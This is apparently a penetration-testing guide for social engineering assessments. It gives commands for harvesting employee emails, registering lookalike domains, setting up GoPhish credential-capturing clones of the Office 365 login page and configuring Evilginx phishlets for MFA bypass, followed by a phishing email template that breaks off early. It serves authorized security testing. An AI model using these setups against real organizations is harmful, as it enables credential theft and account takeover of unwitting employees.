Conducting Social Engineering Penetration Test

Overview

Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx.

When to Use

• When conducting security assessments that involve conducting social engineering penetration test
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization from senior management (CISO/CTO)
• Legal review confirming compliance with local laws (CFAA, GDPR, etc.)
• Defined scope: target employee groups, attack types, exclusions
• GoPhish server, domain for phishing infrastructure, VPS
• OSINT tools: Maltego, theHarvester, LinkedIn scraping tools
• Coordination with HR and Legal for employee notification post-test

Phase 1 — OSINT and Target Profiling

Employee Reconnaissance

# Email harvesting
theHarvester -d targetcorp.com -b all -l 500 -f harvester_results

# LinkedIn OSINT (manual + tools)
# Gather: names, roles, departments, email format
# Identify: new hires, IT admins, finance team, executives

# Email format discovery
# Check: first.last@, flast@, firstl@
# Verify with: hunter.io, phonebook.cz, email-checker.net

# Social media OSINT
# Twitter/X: employees posting about work tools/frustrations
# Facebook: corporate event photos, office layout
# GitHub: employee repos with corporate email addresses

# Domain intelligence
dig targetcorp.com MX +short
dig targetcorp.com TXT +short
# Check for SPF, DKIM, DMARC records
# Weak DMARC = easier email spoofing

# Check breach databases (authorized)
# HaveIBeenPwned API for corporate emails
# Identify employees with compromised credentials

Target Selection Matrix

Phase 2 — Phishing Campaign

Infrastructure Setup

# Register lookalike domain
# targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net

# Set up GoPhish server
sudo apt install gophish
# Edit config.json for admin and phishing server ports
gophish

# Configure sending profile in GoPhish
# SMTP server: mail.attackdomain.com
# From: it-security@targetcorp-secure.com
# Headers: proper DKIM/SPF for attack domain

# Create landing page (credential harvesting)
# Clone legitimate login page (Office 365, Okta, etc.)
# GoPhish: Import Site -> https://login.microsoftonline.com
# Enable: Capture Credentials, Capture Passwords
# Redirect to real site after capture

# Set up Evilginx for MFA bypass (authorized testing only)
evilginx2
: config domain attackdomain.com
: config ipv4 <server_ip>
: phishlets hostname o365 login.targetcorp-secure.com
: phishlets enable o365
: lures create o365
: lures get-url 0

GoPhish Campaign Configuration

{
  "campaign": {
    "name": "IT Security Update - Q1 2025",
    "template": {
      "name": "Mandatory Security Training",
      "subject": "Action Required: Complete Security Awareness Training by Friday",
      "html": "<html>...[branded email with urgency]...</html>",
      "from": "IT Security Team <security@targetcorp-secure.com>"
    },
    "landing_page": "Office 365 Login Clone",
    "sending_profile": "Phishing SMTP",
    "groups": ["All Employees - Batch 1"],
    "launch_date": "2025-03-10T09:00:00Z",
    "send_by_date": "2025-03-10T12:00:00Z"
  }
}

Phishing Email Templates by Pretext

Template 1 — IT Security Update:

Subject: [Action Required] Mandatory Password Reset - Security Incident
From: IT Security <security@targetcorp-secure.com>

Dear {FirstName},

Our security team has detected unauthorized access attempts on our systems.

…